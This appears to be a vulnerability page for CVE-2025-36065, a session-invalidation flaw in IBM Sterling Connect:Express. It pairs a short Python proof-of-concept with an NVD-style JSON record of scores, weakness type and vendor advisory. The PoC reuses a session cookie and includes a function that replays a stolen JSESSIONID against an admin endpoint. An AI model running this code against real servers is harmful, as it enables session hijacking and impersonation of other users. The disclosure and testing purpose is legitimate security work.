CVE-2025-36065

import requests import time # CVE-2025-36065 PoC - Session Management Vulnerability in IBM Sterling Connect:Express # This PoC demonstrates the session not being invalidated after browser closure target_url = "https://target-ibm-server.com Sterling Connect:Express/" # Step 1: Authenticate with valid credentials login_data = { "username": "[email protected]", "password": "AttackerPassword123" } session = requests.Session() response = session.post(f"{target_url}/j_security_check", data=login_data) # Step 2: Extract session cookie after successful authentication session_cookie = session.cookies.get_dict() print(f"[*] Session Cookie obtained: {session_cookie}") # Step 3: Simulate browser closure by making request after delay # In real scenario, user would close browser here time.sleep(10) # Step 4: Attempt to use the same session cookie (should fail if properly invalidated) response = session.get(f"{target_url}/protected/resource", cookies=session_cookie) if response.status_code == 200: print("[!] VULNERABLE: Session still valid after browser closure!") print(f"[*] Attacker can impersonate user with cookie: {session_cookie}") else: print("[*] Session properly invalidated - not vulnerable") # Step 5: If vulnerable, impersonate another user # Attackers can use stolen session cookies to bypass authentication def exploit_with_stolen_cookie(cookie_value): exploit_session = requests.Session() exploit_session.cookies.set("JSESSIONID", cookie_value) response = exploit_session.get(f"{target_url}/admin/privileged-action") return response.status_code == 200 print("[*] CVE-2025-36065 PoC Complete")

{"cve": {"id": "CVE-2025-36065", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.230", "lastModified": "2026-02-03T21:57:55.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0 5.2.0.00 through 5.2.0.12 does not invalidate session after a browser closure which could allow an authenticated user to impersonate another user on the system."}, {"lang": "es", "value": "IBM Sterling Connect:Express Adapter para Sterling B2B Integrator 5.2.0 5.2.0.00 hasta 5.2.0.12 no invalida la sesión después del cierre del navegador, lo que podría permitir a un usuario autenticado suplantar a otro usuario en el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_connect\\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0.00", "versionEndExcluding": "5.2.0.13", "matchCriteriaId": "9FAC986A-388C-48CB-9717-817B108C98F7"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257244", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}